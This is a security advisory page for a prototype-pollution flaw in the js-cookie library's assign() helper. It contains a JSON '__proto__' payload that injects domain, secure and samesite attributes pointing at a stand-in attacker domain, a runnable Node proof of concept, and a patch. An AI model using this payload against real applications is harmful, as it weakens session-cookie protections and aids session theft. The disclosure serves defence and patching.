GHSA-qjx8-664m-686j

    Dashboard / Vulnerabilities / GHSA-qjx8-664m-686j

    GHSA-qjx8-664m-686j

    Published: 21 May 2026Last Modified: 10 Sept 2026

    Summary: JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

    Details: ## Summary `js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `"__proto__"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys. Because the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down. ## Impact Any application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend: ```js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker ``` A payload of `{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}` causes js-cookie to emit: ``` Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None ``` ## Affected code ```js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable '__proto__' target[key] = source[key] // [[Set]] form - fires __proto__ setter } } return target } ``` ## Proof of concept Node 22.11.0, no third-party deps: ### Environment setup ```bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie ``` ### PoC ```js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } }; const { default: Cookies } = await import('js-cookie'); const attackerAttrs = JSON.parse( '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' ); Cookies.set('session', 'TOKEN', attackerAttrs); console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie); ``` Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" /> ## Suggested patch ```diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target } ``` Equivalent one-liner alternative - iterate own names only and filter: ```js for (const key of Object.getOwnPropertyNames(source)) { if (key === '__proto__') continue target[key] = source[key] } ```

    Affected packages

    Package

    Name: js-cookie

    Purl: pkg:npm/js-cookie

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -3.0.7

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-qjx8-664m-686j | CVE-DB